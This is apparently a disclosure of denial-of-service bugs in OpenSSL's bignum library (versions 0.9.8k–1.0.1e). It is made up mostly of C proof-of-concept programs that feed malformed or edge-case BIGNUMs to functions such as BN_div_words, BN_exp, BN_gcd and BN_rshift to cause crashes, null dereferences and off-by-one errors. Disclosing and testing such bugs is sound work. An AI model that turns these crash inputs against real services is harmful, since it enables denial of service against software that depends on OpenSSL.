The bn (multiprecision integer arithmetics) part of the OpenSSL library is prone to null ptr deref, off-by-one and others resulting in DoS/crashes.
Versions tested were between 0.9.8k and 1.0.1e. We were too lazcough busy to prepare the fancy table, sorry guys.
Some PoC will work for one version but not for the other. Your milage may vary, so you'll have to test it by yourself.
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/* BN_ULONG bn_div_words(BN_ULONG h, BN_ULONG l, BN_ULONG d);
bn_div_words(h, l, d) divides the two word number (h,l) by d and returns the result.
*
* There were two reasons for implementing this template:
* - GNU C generates a call to a function (__udivdi3 to be exact)
* in reply to ((((BN_ULLONG)n0)<<BN_BITS2)|n1)/d0 (I fail to
* understand why...);
* - divl doesn't only calculate quotient, but also leaves
* remainder in %edx which we can definitely use here:-)
*
* <[email protected]>
*
({ asm volatile ( \
"divl %4" \
: "=a"(q), "=d"(rem) \
: "a"(n1), "d"(n0), "g"(d0) \
: "cc"); \
q; \
})
*
* Same story here, but it's 128-bit by 64-bit division. Wow!
* <[email protected]>
*
({ asm volatile ( \
"divq %4" \
: "=a"(q), "=d"(rem) \
: "a"(n1), "d"(n0), "g"(d0) \
: "cc"); \
q; \
})
*/
#include <stdio.h>
#include <string.h>
#include <openssl/bn.h>
#include <openssl/rand.h>
int
main(int argc, char **argv)
{
BN_ULONG q,d0,n0,n1,rem=0;
n0 = 10UL; // if n0 >= d0 then Floating point exception
n1 = 100UL;
d0 = 10UL;
printf("%lu\n", bn_div_words(n0, n1, d0));
return 0;
}
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/* int BN_exp(BIGNUM *r, BIGNUM *a, BIGNUM *p, BN_CTX *ctx);
BN_exp() raises a to the p-th power and places the result in r ("r=a^p"). This function is faster than repeated applications of BN_mul().
*/
#include <stdio.h>
#include <string.h>
#include <openssl/bn.h>
#include <openssl/rand.h>
int
main(int argc, char **argv)
{
BN_CTX *c = BN_CTX_new();
BIGNUM *x,*y,*z,*p1,*p2,*p3;
x = BN_new();
y = BN_new();
z = BN_new();
x->d = (BN_ULONG *) malloc(1);
x->d[0] = 0;
x->top = 13645;
x->dmax = 13645;
x->neg = 0;
x->flags = 1;
y->d = (BN_ULONG *) malloc(1);
y->d[0] = 2;
y->top = 1;
y->dmax = 1;
y->neg = 1;
y->flags = 1;
z->d = (BN_ULONG *) malloc(1);
z->d[0] = 34427664;
z->top = 1;
z->dmax = 1;
z->neg = 0;
z->flags = 0;
printf("%d\n", BN_exp(x, y, z, c));
return 0;
}
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/* int BN_gcd(BIGNUM *r, BIGNUM *a, BIGNUM *b, BN_CTX *ctx);
BN_gcd() computes the greatest common divisor of a and b and p
*/
#include <stdio.h>
#include <string.h>
#include <openssl/bn.h>
#include <openssl/rand.h>
int
main(int argc, char **argv)
{
BN_CTX *c = BN_CTX_new();
BIGNUM *x,*y,*z,*p1,*p2,*p3;
x = BN_new();
y = BN_new();
z = BN_new();
x->d = (BN_ULONG *) malloc(1);
x->d[0] = 1;
x->top = 0;
x->dmax = 2;
x->neg = 0;
x->flags = 1;
y->d = (BN_ULONG *) malloc(1);
y->d[0] = 1;
y->top = 1;
y->dmax = 1;
y->neg = 0;
y->flags = 0;
z->d = (BN_ULONG *) malloc(1);
z->d[0] = 0;
z->top = 1;
z->dmax = 2;
z->neg = 0;
z->flags = 0;
printf("PoC works for OpenSSL v1.0.1c but not for v0.9.8k\n");
printf("%d\n", BN_gcd(x, y, z, c));
return 0;
}
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/* int BN_mod_add(BIGNUM *r, BIGNUM *a, BIGNUM *b, const BIGNUM *m, BN_CTX *ctx);
BN_mod_add() adds a to b modulo m and places the non-negative result in r.
*/
#include <stdio.h>
#include <string.h>
#include <openssl/bn.h>
#include <openssl/rand.h>
int
main(int argc, char **argv)
{
BN_CTX *c = BN_CTX_new();
BIGNUM *x,*y,*z,*v;
x = BN_new();
y = BN_new();
z = BN_new();
v = BN_new();
x->d = (BN_ULONG *) malloc(1);
x->d[0] = 262144;
x->top = 1;
x->dmax = 2;
x->neg = 0;
x->flags = 1;
y->d = (BN_ULONG *) malloc(1);
y->d[0] = 262144;
y->top = 1;
y->dmax = 1;
y->neg = 0;
y->flags = 0;
z->d = (BN_ULONG *) malloc(1);
z->d[0] = 0;
z->top = 0;
z->dmax = 1;
z->neg = 0;
z->flags = 1;
v->d = (BN_ULONG *) malloc(1);
v->d[0] = 0;
v->top = 1;
v->dmax = 1;
v->neg = 0;
v->flags = 1;
// triggers bug in bn_div_words()
printf("%d\n", BN_mod_add(x, y, z, v, c));
return 0;
}
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/* int BN_rshift(BIGNUM *r, BIGNUM *a, int n);
BN_rshift() shifts a right by n bits and places the result in r ("r=a/2^n"). BN_rshift1() shifts a right by one and places the result in r ("r=a/2").
int BN_rshift(BIGNUM *r, const BIGNUM *a, int n)
{
int i,j,nw,lb,rb;
BN_ULONG *t,*f;
BN_ULONG l,tmp;
bn_check_top(r);
bn_check_top(a);
nw=n/BN_BITS2; 0
rb=n%BN_BITS2; 0
lb=BN_BITS2-rb; 64
if (nw >= a->top || a->top == 0)
{
BN_zero(r);
return(1);
}
i = (BN_num_bits(a)-n+(BN_BITS2-1))/BN_BITS2;
if (r != a)
{
r->neg=a->neg;
if (bn_wexpand(r,i) == NULL) return(0);
}
else
{
if (n == 0)
return 1; // or the copying loop will go berserk
}
f= &(a->d[nw]);
t=r->d;
j=a->top-nw;
r->top=i;
if (rb == 0)
{
for (i=j; i != 0; i--)
*(t++)= *(f++); <---- oops
}
else
{
l= *(f++);
for (i=j-1; i != 0; i--)
{
tmp =(l>>rb)&BN_MASK2;
l= *(f++);
*(t++) =(tmp|(l<<lb))&BN_MASK2;
}
if ((l = (l>>rb)&BN_MASK2)) *(t) = l;
}
bn_check_top(r);
return(1);
}
*/
#include <stdio.h>
#include <string.h>
#include <openssl/bn.h>
#include <openssl/rand.h>
int
main(int argc, char **argv)
{
BN_CTX *c = BN_CTX_new();
BIGNUM *x,*y,*z,*p1,*p2,*p3;
x = BN_new();
y = BN_new();
z = BN_new();
x->d = NULL;
x->top = 0;
x->dmax = 0;
x->neg = 0;
x->flags = 0;
y->d = (BN_ULONG *) malloc(1);
y->d[0] = 0;
y->top = 1;
y->dmax = 1;
y->neg = 0;
y->flags = 1;
printf("%d\n", BN_rshift(x, y, 0));
return 0;
}
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/* char *BN_bn2hex(const BIGNUM *a);
BN_bn2hex() and BN_bn2dec() return printable strings containing the hexadecimal and decimal encoding of a respectively. For negative numbers, the string is prefaced with a leading '-'. The string must be freed later using
OPENSSL_free().
*/
#include <stdio.h>
#include <openssl/bn.h>
int
main(int argc, char **argv)
{
BIGNUM *z,*o;
BN_CTX *ctx = BN_CTX_new();
z = BN_new();
o = BN_new();
BN_zero(z);
BN_one(o);
BN_set_negative(o, 1);
BN_sqr(o, z, ctx);
printf("%s\n", BN_bn2hex(o));
return 0;
}
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/* int BN_add_word(BIGNUM *a, BN_ULONG w);
BN_add_word() adds w to a ("a+=w").
*/
#include <stdio.h>
#include <openssl/bn.h>
int
main(int argc, char **argv)
{
BIGNUM *z,*o;
BN_CTX *ctx = BN_CTX_new();
z = BN_new();
o = BN_new();
BN_set_word(o, 2);
BN_add_word(o, 18446744073709551615LL);
return 0;
}
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AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b
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